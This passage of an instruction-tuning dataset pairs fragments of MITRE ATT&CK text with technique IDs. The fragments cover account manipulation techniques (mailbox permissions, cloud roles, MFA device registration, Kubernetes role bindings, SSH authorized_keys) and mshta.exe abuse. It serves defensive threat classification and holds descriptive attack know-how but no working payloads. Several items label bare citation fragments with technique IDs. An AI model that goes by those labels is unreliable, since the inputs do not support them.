Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Crowdstrike AWS User Federation Persistence) ### Response: T1098.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account.", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the <code>Add-MailboxPermission</code>", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the <code>Add-MailboxPermission</code> ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation:", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye APT35 2018)(Citation:", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye APT35 2018)(Citation: ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Crowdstrike Hiding in Plain Sight 2018)", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Crowdstrike Hiding in Plain Sight 2018) ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation:", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Google Ensuring Your Information is Safe)", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Google Ensuring Your Information is Safe) ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also assign mailbox folder permissions through individual folder permissions or roles.", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders.", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation:", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation: ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452) ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise.", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may further enable use of additional techniques for gaining access to systems.", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may further enable use of additional techniques for gaining access to systems. ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation:", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Bienstock, D. - Defending O365 - 2019)", "output": "T1098.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Bienstock, D. - Defending O365 - 2019) ### Response: T1098.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant.", "output": "T1098.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. ### Response: T1098.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation:", "output": "T1098.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: ### Response: T1098.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Support O365 Add Another Admin, October 2019)(Citation:", "output": "T1098.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Support O365 Add Another Admin, October 2019)(Citation: ### Response: T1098.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles)", "output": "T1098.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) ### Response: T1098.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity.", "output": "T1098.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. ### Response: T1098.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised.", "output": "T1098.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. ### Response: T1098.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.", "output": "T1098.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts. ### Response: T1098.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, in AWS environments, an adversary with appropriate permissions may be able to use the <code>CreatePolicyVersion</code> API to define a new version of an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)", "output": "T1098.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, in AWS environments, an adversary with appropriate permissions may be able to use the <code>CreatePolicyVersion</code> API to define a new version of an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation) ### Response: T1098.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may register a device to an adversary-controlled account.", "output": "T1098.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may register a device to an adversary-controlled account. ### Response: T1098.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.", "output": "T1098.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance. ### Response: T1098.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements.", "output": "T1098.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. ### Response: T1098.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds)", "output": "T1098.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) ### Response: T1098.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account.", "output": "T1098.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. ### Response: T1098.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)", "output": "T1098.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) ### Response: T1098.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Devices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration)", "output": "T1098.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Devices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) ### Response: T1098.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)", "output": "T1098.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT) ### Response: T1098.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system.", "output": "T1098.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. ### Response: T1098.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023)", "output": "T1098.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) ### Response: T1098.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC)", "output": "T1098.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC) ### Response: T1098.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity.", "output": "T1098.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. ### Response: T1098.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised.", "output": "T1098.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. ### Response: T1098.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Note that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based  role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation:", "output": "T1098.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Note that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based  role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation: ### Response: T1098.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Azure Kubernetes Service Service Accounts)", "output": "T1098.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Azure Kubernetes Service Service Accounts) ### Response: T1098.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In these cases, this technique may be used in conjunction with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).", "output": "T1098.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In these cases, this technique may be used in conjunction with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003). ### Response: T1098.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This file is usually found in the user's home directory under <code>&lt;user-home&gt;/.ssh/authorized_keys</code>.(Citation: SSH Authorized Keys)", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This file is usually found in the user's home directory under <code>&lt;user-home&gt;/.ssh/authorized_keys</code>.(Citation: SSH Authorized Keys) ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users may edit the system\u2019s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value \u201cyes\u201d to ensure public key and RSA authentication are enabled.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users may edit the system\u2019s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value \u201cyes\u201d to ensure public key and RSA authentication are enabled. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation)", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, by using the Google Cloud CLI\u2019s \u201cadd-metadata\u201d command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation:", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Azure Update Virtual Machines)", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Azure Update Virtual Machines) ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm)", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user.", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)", "output": "T1098.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd) ### Response: T1098.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1098", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1098."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA).", "output": "T1170", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). ### Response: T1170."}{"instruction": "List the MITRE techniques contained in the text.", "input": "HTA files have the file extension <code>.hta</code>.", "output": "T1170", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: HTA files have the file extension <code>.hta</code>. ### Response: T1170."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.", "output": "T1170", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. ### Response: T1170."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSDN HTML Applications)", "output": "T1170", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN HTML Applications) ### Response: T1170."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility.", "output": "T1170", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. ### Response: T1170."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm)", "output": "T1170", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) ### Response: T1170."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)", "output": "T1170", "text": "Below is an instruction that 